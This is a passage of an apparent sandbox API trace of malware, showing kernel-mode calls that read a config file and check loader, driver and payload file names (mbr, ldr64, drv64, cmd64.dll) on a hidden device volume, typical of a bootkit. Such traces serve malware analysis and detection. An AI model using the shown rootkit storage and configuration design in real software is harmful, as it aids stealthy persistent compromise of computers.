VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.609] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.609] IdePortDispatch () returned 0x103 [0126.609] KeWaitForMutexObject () returned 0x0 [0126.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.609] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.609] IdePortDispatch () returned 0x103 [0126.609] KeWaitForMutexObject () returned 0x0 [0126.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.609] KeLeaveCriticalRegion () [0126.609] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.610] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.610] KeEnterCriticalRegion () [0126.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.610] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.610] KeLeaveCriticalRegion () [0126.610] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.610] KeEnterCriticalRegion () [0126.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.610] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.610] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.610] KeLeaveCriticalRegion () [0126.610] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.610] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.610] KeEnterCriticalRegion () [0126.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.610] ExFreePoolWithTag (P=0xfffffa8003bee300, Tag=0x0) [0126.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.610] KeLeaveCriticalRegion () [0126.610] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.610] ReleaseMutex (hMutex=0xf0) returned 1 [0126.610] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.610] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.610] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.610] KeEnterCriticalRegion () [0126.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.610] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.610] IdePortDispatch () returned 0x103 [0126.610] KeWaitForMutexObject () returned 0x0 [0126.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.611] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.611] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.611] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.611] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.611] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa620 [0126.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.611] KeLeaveCriticalRegion () [0126.611] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.611] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.611] KeEnterCriticalRegion () [0126.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.611] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.611] KeLeaveCriticalRegion () [0126.611] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.611] KeEnterCriticalRegion () [0126.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.611] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.611] IdePortDispatch () returned 0x103 [0126.612] KeWaitForMutexObject () returned 0x0 [0126.612] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.612] KeLeaveCriticalRegion () [0126.612] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.612] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.612] KeEnterCriticalRegion () [0126.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.612] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fb000 [0126.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.612] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.612] IdePortDispatch () returned 0x103 [0126.612] KeWaitForMutexObject () returned 0x0 [0126.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.613] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.613] IdePortDispatch () returned 0x103 [0126.613] KeWaitForMutexObject () returned 0x0 [0126.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.613] KeLeaveCriticalRegion () [0126.613] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.613] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.613] KeEnterCriticalRegion () [0126.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.613] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.613] KeLeaveCriticalRegion () [0126.613] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.613] KeEnterCriticalRegion () [0126.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.613] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.614] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e0bf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.614] KeLeaveCriticalRegion () [0126.614] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.614] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.614] KeEnterCriticalRegion () [0126.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.614] ExFreePoolWithTag (P=0xfffffa8003bfa620, Tag=0x0) [0126.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.614] KeLeaveCriticalRegion () [0126.614] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.614] ReleaseMutex (hMutex=0xf0) returned 1 [0126.614] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.614] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.614] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.614] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.614] KeEnterCriticalRegion () [0126.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.614] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.614] IdePortDispatch () returned 0x103 [0126.614] KeWaitForMutexObject () returned 0x0 [0126.614] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.614] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.614] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.614] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.614] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.614] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.614] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.614] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.614] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.614] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.615] KeLeaveCriticalRegion () [0126.615] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.615] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.615] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.615] KeEnterCriticalRegion () [0126.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.615] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.615] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.615] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.615] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.615] IdePortDispatch () returned 0x103 [0126.615] KeWaitForMutexObject () returned 0x0 [0126.615] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.615] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.615] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.615] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.615] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.615] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.615] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.615] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.615] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.615] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.615] KeLeaveCriticalRegion () [0126.615] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.615] ReleaseMutex (hMutex=0x100) returned 1 [0126.615] Sleep (dwMilliseconds=0x2bf20) [0126.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6eab90b0, dwHighDateTime=0x1d24fa4)) [0126.622] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.622] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.622] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.622] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.622] KeEnterCriticalRegion () [0126.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.622] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.622] IdePortDispatch () returned 0x103 [0126.622] KeWaitForMutexObject () returned 0x0 [0126.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.622] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.622] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.622] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.622] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.622] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037eddf0 [0126.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.622] KeLeaveCriticalRegion () [0126.622] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.622] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.622] KeEnterCriticalRegion () [0126.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.622] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.622] KeLeaveCriticalRegion () [0126.622] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.622] KeEnterCriticalRegion () [0126.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.622] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.623] IdePortDispatch () returned 0x103 [0126.623] KeWaitForMutexObject () returned 0x0 [0126.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.623] KeLeaveCriticalRegion () [0126.623] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.623] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.623] KeEnterCriticalRegion () [0126.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fe000 [0126.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.623] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.623] IdePortDispatch () returned 0x103 [0126.623] KeWaitForMutexObject () returned 0x0 [0126.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.623] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.623] IdePortDispatch () returned 0x103 [0126.623] KeWaitForMutexObject () returned 0x0 [0126.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.624] KeLeaveCriticalRegion () [0126.624] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.624] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.624] KeEnterCriticalRegion () [0126.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.624] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.624] KeLeaveCriticalRegion () [0126.624] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.624] KeEnterCriticalRegion () [0126.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.624] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.624] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac6420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.624] KeLeaveCriticalRegion () [0126.624] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.624] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.624] KeEnterCriticalRegion () [0126.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.624] ExFreePoolWithTag (P=0xfffffa80037eddf0, Tag=0x0) [0126.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.624] KeLeaveCriticalRegion () [0126.624] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.624] ReleaseMutex (hMutex=0xf0) returned 1 [0126.624] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.624] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.625] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.625] KeEnterCriticalRegion () [0126.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.625] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.625] IdePortDispatch () returned 0x103 [0126.625] KeWaitForMutexObject () returned 0x0 [0126.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.625] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 